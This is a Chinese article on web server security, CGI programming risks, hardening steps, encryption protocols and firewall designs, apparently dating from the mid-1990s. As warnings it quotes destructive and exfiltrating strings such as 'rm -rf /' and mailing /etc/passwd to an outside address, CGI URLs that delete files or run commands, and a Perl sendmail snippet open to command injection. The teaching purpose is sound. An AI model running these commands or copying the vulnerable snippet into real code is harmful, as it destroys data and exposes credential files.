中国智囊风云榜 首页 > 综合报告 > 企业咨询 > IT网络 > 正文 返回 打印

Web安全技术与防火墙

2007-12-24 13:08:50   报告业务: 010-65667912

        计算机的安全性历来都是人们讨论的主要话题之一。而计算机安全 主要研 究的是计算机病毒的防治和系统的安全。在计算机网络日益扩展 和普及的今天, 计算机安全的要求更高,涉及面更广。不但要求防治病 毒,还要提高系统抵抗外 来非法黑客入侵的能力,还要提高对远程数据 传输的保密性,避免在传输途中遭 受非法窃取。

  在防治网络病毒方面,在http传输中HTML文件是一般不会存在感染 病毒的 危险。危险在于下载可执行软件如:.zip .exe .arj .Z 等文件 过程中应特别 加以注意。都有潜伏病毒的可能性。

  对于系统本身安全性,主要考虑服务器自身稳定性、健状性,增强 自身抵抗 能力,杜绝一切可能让黑客入侵的渠道,避免造成对系统的威 胁。对重要商业应 用,必须加上防火墙和数据加密技术加以保护。

  在数据加密方面,更重要的是不断提高和改进数据加密技术,使不 法分子难 有可乘之机。

  当然,计算机系统安全是个很大的范畴,本章仅仅讨论在构造 web 时,可能 出现的一些情况,希望能引起重视。

  2、WEB在安全上的漏洞

  WEB 服务器上的漏洞可以从以下几方面考虑:

  (1)在web服务器上你不让人访问的秘密文件、目录或重要数据。

  (2)从远程用户向服务器发送信息时,特别是信用卡之类东西时, 中途遭 不法分子非法拦截。

  (3) web服务器本身存在的一些漏洞,使得一些人能侵入到主机系 统破坏 一些重要的数据,甚至造成系统瘫痪。

  (4)CGI安全方面的漏洞有:

  1〕有意或无意在主机系统中遗漏(bugs)给非法黑客创造条件。

  2〕用 CGI脚本编写的程序当涉及到远程用户从浏览器中输入表格 (form) 并进行象检索(Search index)或form-mail之类在主机上直接操 作命令时,或许 会给web主机系统造成危险。

  因此,从CGI角度考虑WEB的安全性,主要是在编制程序时,应详细 考虑到 安全因素。尽量避免CGI程序中存在漏洞。

  从web服务器版本上分析:

  在1995年3月发现NCSA1.3以下版本的HTTPD明显存在安全上的漏洞, 即客户 计算机可以任意地执行服务器上面的命令,非常危险。但, NCSA1.4以上版本的 服务器就补上了这个漏洞。还有一些简单的从网上 下载WEB服务器,没有过多考 虑到一些安全因素,不能用作商业应用。

  因此,不管是配置服务器,还是在编写 CGI程序时都要注意系统 的安全性。 尽量堵住任何存在的漏洞,创造安全的环境。在具体服务器 设置及编写 cgi程 序时应该注意:

  管理服务器上

  1)禁止乱用从其他网中下载的一些工具软件,并在没有详细了解之 前尽量 不要用root身份注册执行。以防止某些程序员在程序中设下的陷 井,如:程序 中加上一两行 "rm -rf /"或"mail username < /etc/passwd" 之类情况发生。

  2)在选用 web服务器时,应考虑到不同服务器对安全的要求不一 样。一些 简单的 web服务器就没有考虑到一些安全的因素,不能把他用 作商业应用。只 作一些个人的网点。

  3)在利用WEB中的.htpass来管理和校验用户口令时,存在校验的口 令和用 户名不受次数限制。

  3、如何在WEB上提高系统安全性和稳定性

  web服务器安全预防措施:

  〔1〕限制在web服务器开帐户,定期删除一些断进程的用户。

  〔2〕对在web服务器上开的帐户,在口令长度及定期更改方面作出 要求, 防止被盗用。

  〔3〕尽量使ftp, mail等服务器与之分开,去掉 ftp,sendmail,tftp,NIS, NFS,finger,netstat等一些无关的应用。

  〔4〕在web服务器上去掉一些绝对不用的shell等之类解释器,即当 在你的 cgi的程序中没用到perl时,就尽量把perl在系统解释器中删除 掉。

  〔5〕定期查看服务器中的日志logs文件,分析一切可疑事件。在 errorlog 中出现rm, login, /bin/perl, /bin/sh 等之类记录时,你的 服务器可能有受到 一些非法用户的入侵的尝试。

  〔6〕设置好web服务器上系统文件的权限和属性,对可让人访问的 文档分配 一个公用的组如:www,并只分配它只读的权利。把所有的 HTML文件归属WWW组, 由WEB管理员管理WWW组。对于WEB的配置文件仅对 WEB管理员有写的权利。

  〔7〕有些WEB服务器把WEB的文档目录与FTP目录指在同一目录时, 应该注意 不要把FTP的目录与CGI-BIN指定在一个目录之下。这样是为了 防止一些用户通过 FTP上在一些尤如PERL或SH之类程序并用WEB的 CGI-BIN去执行造成不良后果。

  〔8〕通过限制许可访问用户IP或DNS如:

  在NCSA中的access.conf中加上:

  < Directory /full/path/to/directory >

  < Limit GET POST >

  order mutual-failure

  deny from all

  allow from 168.160.142. abc.net.cn

  < /Limit >

  < /Directory >

  这样只能是以域名为abc.net.cn或IP属于168.160.142的客户访问 该WEB服务 器。对于CERN或W3C服务器可以这样在httpd.conf中加上:

  Protection LOCAL-USERS {

  GetMask @(*.capricorn.com, *.zoo.org, 18.157.0.5)

  }

  Protect /relative/path/to/directory/* LOCAL-USERS

  〔9〕WINDOWS下HTTPD

  1)Netscape Communications Server for NT

  〖1〗Perl解释器的漏洞

  Netscape Communications Server中无法识别cgi-bin下的扩展名 及其应 用关系,如:.pl是PERL的代码程序自动调用 perl.exe文件解 释,即使现在也只 能把perl.exe文件存放在cgi-bin目录之下。执行 如: /cgi-bin/perl.exe?&my_script.pl. 但是这就给任何人都有执行 perl 的可能, 当有些人在其浏览器的URL中加上如: /cgi-bin/perl.exe?&-e+unlink+%3C*%3E 时,有可能造成删除服务器当 前目录下文件的危险。但是,其他如:O'Reilly WebSite或Purveyor都 不存在这种漏洞。

  〖2〗CGI执行批处理文件的漏洞

  文件名:test.bat:

  @echo off

  echo Content-type: text/plain

  echo

  echo Hello World!

  如果客户浏览器的URL为:/cgi-bin/test.bat?&dir则执行调用命 令解释 器完成dir列表。这给访问者有执行其他命令可能性。

  2)O'Reilly WebSite server for Windows NT/95

  在WebSite1.1B以前的版本中使用配处理文件存在着Netscape同样 的漏洞, 但是,新版关闭.bat在cgi中的作用。支持perl,VB和C作为CGI 开发工具。至于 他的安全问题参看: http://website.ora.com/devcomer/secalert1。

  3)Microsoft's IIS Web Server

  在96年3月5日前的IIS在NT下的.bat CGI的 bug甚至比其他更严 重,可以 任意使用command命令。但之后修补该漏洞。你可检查你的可 执行文件的建立日 期。IIS3.0还存在一些安全bug,主要是cgi-bin下的 覆给权利。

  另外,许多 WEB服务器本身都存在一些安全上的漏洞,都是在版本 升级过 程不断更新。在这就不一一列举。

  从CGI编程角度考虑安全:

  〔1〕采用编译语言比解释语言会更安全些,并且 CGI程序应放在独 立于HTML 存放目录之外的CGI-BIN下,是为了防止一些非法访问者从浏览 器端取得解释性语 言的原代码后从中寻找漏洞。

  〔2〕在用C来编写CGI程序时尽量少用popen(), system()和所有涉 及/bin/sh 的shell命令。在Perl中system(), exec(), open(),eval() 等exec或eval之类命 令。在由用户填写的form还回cgi时,不要直接调 用system()之类函数。这是为避 免当填写内容为“rm -rf /*”或 “/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org< /etc/passwd”之类内容。

  〔3〕用Perl编写CGI时如:

  $mail_to = &get_name_from_input;

  open (MAIL,"| /usr/lib/sendmail $mail_to");

  print MAIL "To: $mailto/nFrom: me/n/nHi there!/n";

  close MAIL;

  该小程序是把客户浏览器的form到服务器的mail处理程序。

  另外,对于数据的加密与传输,目前有SSL,SHTTP,SHEN等协议供 大家研究。

  〔1〕SSL(Secure Socket Layer)系由Netscape公司建议的一种建构 在TCP协议 之上的保密措施通讯协议,不但适用于HTTP,而且还适用于 TELNET,FTP,NNTP, GOPHER等客户/服务器模式的安全协议。Netscape Navigator, Secure Mosaic, 和Microsoft Internet Explorer等客户浏 览器与Netscape, Microsoft, IBM, Quarterdeck, OpenMarket 和 O'Reilly等服务器产品都采用SSL协议。

  详细请参看:http://home.netscape.com/newsref/std/SSL.html。

  〔2〕SHTTP(Secure HTTP)系由CommerceNet公司建议构造在HTTP协 议之上的高 层协议。目前由Open Market公司推销的 Open Marketplace 服务器结合Enterprise Integration Technologies的Secure HTTP Mosaic客户浏览器采用S-HTTP。

  详细参看:http://www.eit.com/creations/s-http/ 。

  4、防火墙(Firewall)

  (1)防火墙的概念

  当一个网络接上Internet之后,系统的安全除了考虑计算机病毒、 系统的健 壮性之外,更主要的是防止非法用户的入侵。而目前防止的措 施主要是靠防火墙 的技术完成。防火墙(firewall)是指一个由软件或和 硬件设备组合而成,处于企 业或网络群体计算机与外界通道(Internet) 之间,限制外界用户对内部网络访问 及管理内部用户访问外界网络的权 限。

  随着人们对网络安全意识提高,在网络的防火墙上采取许多做法并 也已开发 出很多防火墙的产品。

  另外,有关防火墙更详细的情况请在雅虎网点 http://www.yahoo.com 上用关键词firewall来查询更多有关firewall 信息。

  (2)防火墙的措施

  目前主要采用的是两种结构:

  1)代理(Proxy)主机

  内部网络<----->代理网关(Proxy Gateway)<----->Internet

  这种方式是内部网络与Internet不直接通讯。就是内部网络计算机 用户与代 理网关采用一种通讯方式即提供内部网络协议(Netbios、 TCP/IP 等)。而,网关 与Internet之间采取的是标准TCP/IP网络通讯协 议。这样使得网络数据包不能直 接在内外网络之间进行。内部计算机必 须通过代理网关访问Internet,这样容易 在代理服务器上对内部网络计 算机对访问外界计算机进行限制。另外,由于代理服务 器两端采用不同 协议标准也可以直接阻止外界非法入侵。还有,代理服务的网关 可对数 据封包进行验证和对密码进行确认等安全管制。这样,能较好地控制管 理两端 的用户起到防火墙作用。

  可想而知,这种防火墙措施是采用透过代理服务器进行,在联机用 户多时, 效率必然受到影响,代理服务器负担很重,并且许多访问 Internet的客户软件在 内部网络计算机中无法正常访问Internet。

  2)路由器加过滤器(Screened Host)完成

  内部网络<----->过滤器(Filter)<---->路由器 (Router)<---->Internet

  这种结构由路由器和Filter共同完成对外界计算机访问内部网络从 IP地址或 域名上的限制,也可以指定或限制内部网络访问Internet。路 由器仅对筛虑主机 的特定的PORT上数据通讯加以路由,而Filter主机则 执行筛选、过滤、验证及其 安全监控,这样可以很大程度隔断内外网络 间的不正常的访问登陆。



/zonghebaogao/qiyezixun/ITwangluo/2007-12-24/1978.html
关于我们 | 网站声明 | 网站地图 | | 中国智囊风云榜版权所有 京ICP证 06054752号